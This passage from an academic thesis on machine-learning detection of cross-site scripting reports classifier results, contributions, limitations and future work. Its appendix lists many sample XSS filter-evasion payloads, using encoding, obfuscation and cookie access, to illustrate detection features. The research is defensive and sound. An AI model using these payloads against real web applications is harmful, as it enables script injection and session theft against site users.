The chapter included an examination of the processing-time performance relating to
extracting rules from the classifiers, and it was shown how the sampling algorithm
used was improved with the aim of increasing speed while maintaining accuracy.
The most influential rules that were extracted from the classifiers were reviewed and
graphically represented. The purpose of making the decisions made in the black-box
understandable is to develop web applications, so that by using these rules are the
first line of defence against XSS attacks.
The processing-time performance of classifiers plays an important role in the
selection of a classifier – especially one which is to act as a protective layer for a web
application. For this reason, the processing-times have been calculated in relation
to all the classifiers, single, multi-class, and cascading, as one of the criteria for
selecting the classifier to be used, as a protective layer. All the classifiers were found
to perform sufficiently well, in these terms, to be used for this purpose, except, that
is, for the k-Nearest Neighbour classifier - which was the most expensive as regards
processing time. The processing-timing performance of the classifiers is reviewed in
Chapters 4, 5, 6, and 7.
8.2 Research Discussion
This section reviews the findings of the experiments conducted to detect XSS attacks
against web applications. These findings assist here in the selection of a classifier or
technique which can be employed as a protection layer for web applications. The
factors by which a classifier may be legitimately selected are its rates of accuracy,
precision, false positive rate and speed. The results of the use of single classifiers
to detect XSS attacks yielded high accuracies. SVM with a linear kernel achieved
a 99.82% accuracy and a 99.89% precision with a false positive rate of 11 out of
10,000; it took 0.1996 seconds to complete the testing dataset classification. SVM
with polynomial kernel achieved a 99.57% accuracy and a 99.16% precision with
84 instances flagged as false positives (out of 10 ,000); it took 0.1493 seconds to
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complete the testing dataset classification. The k-NN classifier achieved a 99.90%
accuracy and a 99.94% precision and a false positive rate of only 6 instances; it
took 8.1498 seconds to complete the testing dataset classification. Furthermore,
the Random Forest classifier achieved a 99.93% accuracy and a 99.96% precision
and returned only 4 false positive instances; it took 1.1097 seconds to complete the
testing dataset classification. The Neural Network classifier achieved an accuracy
rate of 99.86% and a precision of 99.90% and returned 10 false positive instances; it
took 0.1680 seconds to complete the testing dataset classification. From the above
results, it can be seen that the best classifier for detecting XSS attacks is the Random
Forest classifier, noting that the classifier is not the fastest, but was chosen from a
security perspective as it returned the lowest number of false positive instances. The
Random Forest classifier, then, can justifiably be selected as a protective layer for a
web application; this determination achieved the first objective (O1) of this study.
The method in which the created classifiers are to be used in the server side is as
a protective layer between the receiving of HTTP requests, which are loaded with
user inputs, and the web application. Features are extracted from the request and
then passed to the classifier which then attempts to detect whether the request is
malicious or benign. In the case that the request is benign it is passed to the web
application, but if it is malicious the further passage of the request is prevented. The
classifiers were tested by creating a site that would receive inputs and then classify
them as either malicious or benign. This site was designed for a single user, and has
yielded good results using the classifiers constructed in this study.
For the purpose of filtering user input and increasing accuracy, which is the
second objective (O2) of this study, an ensemble technique with cascading classifiers
was used. This combined method achieved high accuracy results in the detection
of XSS attacks. The proposed system takes advantage of cascading classifications
to classify the inputs into normal text or script, and then passes the scripts to the
second stage, which contains the stacked technique. In this phase, the inputs are
classified using the previously described classifiers and then the outputs are used as
the inputs for the meta classifier. The proposed system achieved a 99.92% accuracy
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and a 99.96% precision with only 4 false positive instances returned; it took 0.0002
seconds to complete the classification across both phases using NN classifier as meta
classifier. Whereas, the proposed system is one of the first methods to use stacking
ensemble technique to detect XSS attacks.
In order to the understand decision making undertaken by the ’black-box classi-
fiers’, the rules that have been used by the various classifiers to determine whether
instances are malicious or benign have been extracted. A method of approximate
extraction, which extracts an approximation of the Boolean function which repre-
sents the decisions made by a particular classifier has been proposed. The operation
of this method depends on a sampling principle. Experiments were conducted to
test this approximate extraction method in relation to the Neural Network, k-NN,
and SVM classifiers, and the results of the distribution of the testing dataset over the
approximate rules extracted yielded high accuracy ratings. By using this algorithm,
the distribution of the testing dataset over the approximate rules extracted achieved a
99.90% accuracy and a 99.94% precision. The weakness of this algorithm, however,
was that it took a long time to extract the rules. In order to yield high accuracies but
with an improved processing time performance in these terms, the algorithm was
developed further by reducing the number of instances in the samples but increasing
their diversity – in order to attain a balance between the number of samples and
fairness in classification. The algorithm was applied after the amendments had been
made to the Neural Network, k-Nearest Neighbour, and Support Vector Machine
classifiers. Using the modified algorithm, the classifiers obtained high accuracy rates.
The Neural Network achieved a 99.87% accuracy, K-Nearest Neighbour achieved
a 97.06% accuracy and SVM achieved a 99.90% accuracy. Moreover, from the
results of the use of the modified algorithm it can be observed that there was an
improvement in processing-time performance in relation to extracting rules from the




This research makes the following contributions:
• A dataset containing a variety of Cross-Site Scripting attacks was created in
order to simulate real-world attacks. The creation of the dataset and its sources
are described in Chapter 3. The XSS dataset is considered a contribution
because the earlier works that mentioned in Chapter 2 have used datasets
that contain limited sets of malicious instances, or they focus on a specific
type of malicious scripts, unlike the dataset that was created for this research.
Cross-Site Scripting dataset is available at "https://github.com/fmereani/Cross-
Site-Scripting-XSS". It is available for academic purposes or for further
examination and analysis.
• The extracting of feature sets which could be employed to train the classifiers
to detect XSS attacks written in JavaScript was achieved. The features were
divided into two groups: an alphanumeric group which included the features
that are most commonly used in attacks, and a group of non-alphanumeric fea-
tures, which included features used in specific types of attack. The extraction
of the features is described in Section 3.5. Whereas, the novelty in the features
groups that were extracted in this research is that they have been represented
in a Boolean format, unlike other works in which the values of the features
were calculated, which takes time to extract them.
• XSS attacks were detected from within a web applications using machine
learning techniques; this was achieved via Support Vector Machine (SVM),
k-Nearest Neighbour (k-NN), Random Forest (RF) and Neural Network (NN)
classifiers - to identify known and novel types of attack within both obfuscated
and non-obfuscated scripts, in order to simulate the detection of real-world
attacks. The techniques used are explained in Chapters 4.
• Increasing the accuracy rate was achieved by using a combination of techniques
via cascading classifiers together with stacking ensemble techniques. The
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techniques used are described in Chapter 6. This method is considered one of
the first methods to use stacked ensemble technique to detect XSS attacks on
the server side.
• Extracting rules from black box classifiers, which explain how decisions are
made in a classifier, is explained in Chapter 7.
8.4 Limitations
As stated in Chapter 4, the classifiers’ performance results were as expected from
the use in the literature of machine learning to detect XSS attacks against web
applications, as classifiers have been proven to the ability to detect current and new
XSS attacks. However, classifiers have the following limitations.
• The number of false positives: The misclassification of XSS attacks, SQL and
LDAP injections is discussed in Sections 4.5.2.6, 4.5.3.6 and 4.5.4.6. A false
positive represents the situation where a malicious instance is misclassified
as benign. The reason that false positives occur is that the instances involved
may be very short and thus they do not have enough features to allow them
to be classified as malicious; alternatively, an instance may be too long for
comparisons to be made with less abnormal texts. In relation to the SQL
and LDAP injections, most of the false positives were due to the use of non-
alphanumeric features within the injections.
• Processing time performance: The classifiers which achieved high accuracy
and precision results were k-NN and RF, but these took a longer time than
other classifiers to classify instances. This was observed in both the single
classifier and the cascading classifier situations.
• Dataset size: The reason for the low numbers of XSS, SQL-i and LDAP attacks
which could be found is their short life-spans on the web; they are removed




• Limit of resource: MatLab licenses represented one of the limitations which
were faced in the present study; as a result of this issue, the classifiers con-
structed here could not be used in web applications. The reason for this was
that a MatLab license is required to use MatLab components on live sites.
8.5 Future Work
By avoiding focusing on one just type of attack or just one type of machine learning
algorithm, a broader basis upon which further work can be attempted has been
obtained by this research. On this basis, future research work might usefully include
the following.
• Investigating other types of supervised machine learning algorithms such as
Naive Bayes, Decision Trees, and Deep Neural Networks, which could be used
to detect XSS attacks against web applications. The focus of investigating
these algorithms will be on using the same features in this study and the same
method as the features are represented.
• Improving the classification performance in classifiers that classify all three
types of attacks (XSS, SQL-i, and LDAP), in order to reduce the number of
false positive. Improvement is likely to be accomplished by optimising param-
eters, scrutinizing features that differentiate the types of attacks, depending on
a methodology that differs from the use of common or similar features.
• Extending the research area by including all the vulnerabilities of web ap-
plications that share the same way of working. Intended attacks are those
that are injected through entry points into web applications such as Code
injection, CRLF (Carriage Return and Line Feed) injection, operating system
commands injection, and XPath injection. Extending the research area will be
by extracting more effective features in terms of identifying types of attack,
depending on the commonalties and differences between attacks. This would
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be for the purpose of building a classifier that has the ability to categorize all
types of attack which exploit web application vulnerabilities.
• Developing of the proposed method for extracting the rules from the black
box classifiers can be to include different values other than 0 and 1. The
development is by modifying the data to be limited within a certain range,
which helps to extract a function whose conditions are using the if ... then
... else form. In addition, there are the possibilities which might be yielded
by changing the sampling system from using nearby samples to using distant
samples. This can be by monitoring samples and comparing them with the
training data to exclude similar samples to the training data and using new
samples. Taking into consideration monitoring processing-time performance
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A.1 Punctuation Group Features - Description
1. Ampersand Sign (&): An ampersand is a symbol (&) representing the word
AND. The (&) sign in the programming language is used either to obtain
a memory address for a variable or to combine between two operands. It
is possible to be double (&&) this means a logical operation between two
Boolean operands. It is used by attacker to combine two operands together
within the malicious payload. such as a = ”Document.”; b = ”Cookie”; <
script > alert(a&b)< /script >
2. Percentage Sign (%): The percent (%) symbol is used in mathematics to
represent a fraction of a whole number. Also it used in programming languages
in several forms, in SQL statements used as a wildcard, which it can represent
any character, whether, such as ( f ull_name LIKE ′Bryan%′). It is used in
most programming languages, including JavaScript, as an operation to find the
remainder after division, such as 9%5 = 4. It is used by attacker to encoding
malicious payload where it can be converted to their character values. such as
(%27%22%3e%3cimg%20src = k.png%20onerror = alert(”Hacked”)
%20/%3e)
which it means
(′” >< imgsrc = k.png onerror = alert(”Hacked”)/ >).
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3. Slash Sign (/): Slash is used within text, it means indicate the word OR.
The example illustrate this meaning (Day/Night). It is the divide symbol in
programming language, it used in JavaScript when closing the tag, and it used
within URLs addresses. It is not considered to be a highly used in XSS attacks
but is used within tags. such as htt ps : //www.city.ac.uk/directory?” ><
script > alert(”Hacked”)< /script >.
4. Backslash Sign (\): Backslash is an ASCII to represent the Boolean operators
AND as "/\", and OR as "\/". In JavaScript The backslash (\) is an escape
character, this means that when JavaScript finds a backslash, it tries to escape
the following character. The attacker can use them as an ASCII code instead
of AND, OR, also it can be used to bypass filters that used to protect Web
applications. such as < i f rame/src\/\/onload = alert(”Hacked”).
5. Plus Sign (+): the symbol (+) indicating to addition or a positive value. In
programming language it used to add two or more numbers, increment a
variables value, in addition to produces the sum of string operands. In a URL
the (+) is used to represent a space, which it is not allowed in URLs. It is used
by attacker by combining two separate variables to form a malicious payload to
bypass filters. such as < script > alert(′Document.′+′Cookie′)< /script >.
6. Apostrophe Sign (’): It is a single quote sign where in computer programming,
quotes are used to contain commands or strings. In HTML, quotes are means
that is not a part of an HTML tag or non executable statement. Attacker
can use an apostrophe to bypass filters in the Web applications, or it can be
used to close a previous tag and open a new one that containing a malicious
payload. such as htt ps : //www.city.ac.uk/directory?”′ > ”′ >< script >
window.alert(”Hacked”)< /script >.
7. Question Mark (?): Question mark used in written language to indicate the
question or request needs to be answered. In computing, it can be used as a
wildcard character instead of any character. In URLs address, it can be used
to allow for query strings to be added to the URL. It does not have direct
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use of the malicious payload, but it is an indication that the Web application
receives input from users, which that means any payload can be inserted after
the question mark. such as htt ps : //www.city.ac.uk/directory? f = ” ><
script > alert(”Hacked”)< /script >
8. Exclamation Mark (!): The exclamation mark is used in the written language
to demonstrate that the word, phrase, or sentence is an exclamation. In the
programming languages, the exclamation mark is the logical "Not" operator,
for example "!=" means not equal. It is not frequently used to bypass filters
but it is used in the payload as a logical operation. such as <![cdata[cript :
alert((”Hacked”); ” >]]>
9. Semicolon Sign (;): The semicolon is used in the written language to indi-
cate a pause between two main clauses, which is more pronounced than the
comma. In computer programming, it is used to terminate a statements in
JavaScript. it used by attacker to terminate a statements and arranged in one
line, which that helps to inject the payload. such as < IMG SRC = javascript :
alert(&quot;XSS&quot;)>
10. Hash Sign (#): It is called hash mark. In the written language indicates to the
number, in the programming is indicating to not executable statement, and in
IRC chat is an identifier of a channel. This sign helps the attacker to encode
the malicious payload using one of the encoding methods to bypass the filters.
such as
” >< ahre f = ” javascript&colon;\u0061&#x6c;&#101%72t&l par;
1&rpar; ” >
11. Equal Sign (=): It indicates to the equivalent in the written language in the
sense that the value is equal or equivalent to another value. In mathemat-
ics, it shows the result of the formula. In computer languages, it is used
to assign a value to a variable, and double equal signs (==) is an operator
in a conditional statement. It can used by attacker in malicious payloads
either by using them within the code or used to bypass the filters as encod-
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ing using base64 where the equal sign of the characteristics of the base 64
encoding or by assigning values to variables that can be used later. such as
Y T 0gIkRvY 3VtZW50LiI7ICBiPSJDb29raWUiOyA8c2NyaXB0PmFsZXJ
0KGEmYik8L3N jcmlwdD4 =
which means
a = ”Document.”;b = ”Cookie”;< script > alert(a&b)< /script >
12. Open and Close Bracket ( [ , ] ): In the written language is used to add
additional or missing details, also it used in programming languages to enclose
characters in string or with arrays. It can be used by attacker to bypass
filters where it can be divided commands or variables into parts within a
malicious payload or adding useless characters. Such as < img[a][b][c]src[d] =
x[e]onerror = [ f ]”alert(”Hacked”)” >
13. Dollar Sign ($): In the written language, it used to refer to the US currency.
In the programming language, it used to define variables and constants. It used
by attacker to bypass filters by manipulating variable names or adding them to
functions parameters. such as
<script>'e1v2a3l'.replace(/(.).(.).(.).(.)/,function
(match,$1,$2,$3,$4){ this[$1+$2+$3+$4](/* code to eval()
*/);})</script>
14. Open and Close Parenthesis ( ( , ) ) In the written language is used to
enclose information. In mathematical expressions, it indicates to priority in
the order of operations. In programming languages, it is used to enclose
arguments to functions or methods. The attacker uses it with other functions
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15. Asterisk Sign (*): In computer languages, it is represent a multiplication
operation, wildcard, and as comment with slash. It can be used by attacker to
bypass the filters where it can be used as a comment to break the expression.
such as
< IMG STY LE = ”xss : expr/∗XSS∗/ession(alert(”Hacked”))” >
16. Comma Sign (,): In the written language, it refers to a pause between the
parts of the sentence or to distinguish between the items of the list. In the
programming language is used to define variables at once, listing the items of
the array, or it used between function arguments. It is used by attacker with
JavaScript functions such as when converting ASCII code to text. such as
cscript%3ealert%28string. f romcharcode%2888,83,83%29%29%3c
script%3e
17. Hyphen Sign (-): In written language, the hyphen uses compound words
to facilitate reading and clarify words used together such as "to-do". In
mathematics and programming refers to subtraction, as used in the search as a
Boolean operator to exclude the word in the search results. The hyphen is used
by attacker to manipulate the malicious payload to bypass the filters, where
it can be used inside the payload as a subtraction or to separated the words.
Such as
< META HT T P−EQUIV = ”Set −Cookie”Content = ”USERID =
< SCRIPT > alert(”Hacked”)< /SCRIPT > ” >
18. Less Than and Greater Than( < ),( > ): In mathematics, they used to indicate
one expression is less than or greater than the other. In programming, it used for
comparison and logical operators. They are also used in HTML to open or close
tags, or to add code within the page such as JavaScript. they used by attacker
in the attacks to open the new scripting tag to add the malicious payload or to
close previous tag. such as < script > alert(”Hacked”)< /script >
19. At Sign (@): It is used within E-mail addresses, and is indicate to "at" in
the chat or text messages. It is used by attacker in a malicious payload to
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bypass the filters, as it is considered within the payload as a white space
and the attacker can use it to divide the payload. It is also used within
the malicious payload to send information to the attacker’s server. Such
as %3e%3cscript%3ealert%28%22Hacked%20by%20d@ydream%22
%29;%3c/script%3e
20. Underscore Sign (_): In the programming language, it is used instead of
the space when the space can not be used as variable names. It is used by
attacker as the use of the (@) symbol to separate commands or variables
within the malicious payload. such as < BODY onload!#$%&()∗ ∼+−_., :
; ?@[/|\]ˆ‘ = alert(”Hacked”)>
21. Colon Sign (:): colon is used in the written language to list the items, expan-
sion or explanation. In a URL, it is used to separate between the protocol and
the address. It can be used by attacker within payload in case of redirect to
attacker server or other Web page, it is not frequently used in payloads be-
cause filters can detected it, but it can be used after encryption, for example a
base64 encoding. It is usually used within HTML tags such as < p style = ”x :
expression(alert(”Hacked”))” >< p style = ”behavior : url(script.sct)” >
22. Dot (.): It is used in the written language as a decimal point or as a full
stop. In JavaScript, the dot is used to provide access to object’s properties.
The attacker uses the dot to bypass the filters by executing commands in
string form such as ′alert(”Hacked”)′.replace(/.+/,eval), or removing them
when using the object’s properties by replacing them with brackets such as
alert(document[′cookie′])
23. Open and Close Brace ({ , }): In the written language is used around words
or items that are supposed to be together. In the programming languages
is used to enclose groups of statements or for a block of code such as if
statement. It is used by attacker by including the payload within HTML
tags, or used to enclose functions code in a malicious payload. Such as
< BR SIZE = ”&{alert(′XSS′)}” >
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24. Tilde Sign (∼): In the mathematics, it indicates the approximate number. In
programming it represents a bitwise NOT. It is used by attacker as the use of
the (@,_) symbols for separating commands or variables within payload. such
as < BODY onload!#$%&()∗ ∼+−_., :; ?@[/|\]ˆ‘ = alert(”Hacked”)>
25. Space ( ): Space is used to separate between words in written language and
programming language. The attacker uses spaces to manipulate the mali-
cious payload to bypass the filters, since repeated spaces are not counted in
JavaScript. Such as ” < SCRIPT\s”! = ” < SCRIPT/XSS\s”
26. Quotation Sign ("): it is used in the written language either to illustrate
the quoted passage or indicate to the beginning and end of the title. In the
programming, it is used to contain text or other data. The attacker can pay-
bass filters by escaping the escape characters such as < SCRIPT > var a =
”\\”;alert(′Hacked′);//”;< /SCRIPT > where malicious payload will be
executed after un-escaping the quote.
27. Grave Sign (‘): the attacker can use it to encapsulate the JavaScript payload,
which is useful because many XSS filters do not recognize it. Such as <
IMGSRC = ‘ javascript : alert(”RSnake says,′XSS′”)‘ >
28. Vertical Bar (|): In mathematics, it is used to represent absolute value. In
programming, double vertical bar is used to represent the logical operator OR.
It used by attacker to bypass the filters by separating between command or
expression in the malicious payload. Such a < BODY onload!#$%&()∗ ∼
+−_., :; ?@[/|\]ˆ‘ = alert(”Hacked”)>
29. Power Sign (^): In mathematics and programming, it is used to represents
an exponent. In JavaScript it used as a bitwise operators which it refer to
XOR. It can be used by attacker to bypass the filters same as (@, _, ∼). Such




30. Broken Bar (¦): it has been found with some obfuscated benign payload,
which is help to differentiate between malicious and benign.
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